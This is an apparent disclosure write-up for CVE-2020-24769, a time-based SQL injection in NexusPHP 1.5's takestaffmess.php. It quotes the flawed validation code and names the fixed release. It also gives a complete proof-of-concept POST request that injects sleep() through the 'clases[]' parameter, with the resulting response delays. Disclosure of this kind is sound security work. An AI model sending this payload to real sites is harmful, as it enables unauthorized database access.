CVE-2020-24769

Need get the administrator's identity to complete the attack.

Affected software: NexusPHP 1.5

Software Download Link: http://sourceforge.net/projects/nexusphp/

fixed version: nexusphp v1.6.0-beta2 https://github.com/xiaomlove/nexusphp/releases

Github Repository https://github.com/xiaomlove/nexusphp

Vulnerability details

takestaffmess.php:line 16

```
$updateset = $_POST['clases'];
if (is_array($updateset)) {
        foreach ($updateset as $class) {
                if (!is_valid_id($class) && $class != 0)
                        stderr("Error","Invalid Class");
        }
}else{
        if (!is_valid_id($updateset) && $updateset != 0)
                stderr("Error","Invalid Class");
}
$subject = trim($_POST['subject']);
$query = sql_query("SELECT id FROM users WHERE class IN (".implode(",", $updateset).")");
```

Although the source code uses the is_valid_id function to check the contents of the clases but because of the php type conversion when the class is non-numeric when compared to zero will get an equal result and thus is_valid_id is invalid.

exploit:

```
POST /takestaffmess.php HTTP/1.1
Host: localhost
Cookie: administrator_cookies
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

clases[]=sleep(2)&msg=1&receiver=1&returnto=&sender=self&subject=1
```

clases[]=sleep(2)&msg=1&receiver=1&returnto=&sender=self&subject=1

The return will be delayed for 2 seconds

clases[]=sleep(0)&msg=1&receiver=1&returnto=&sender=self&subject=1

The return will be delayed for 0 seconds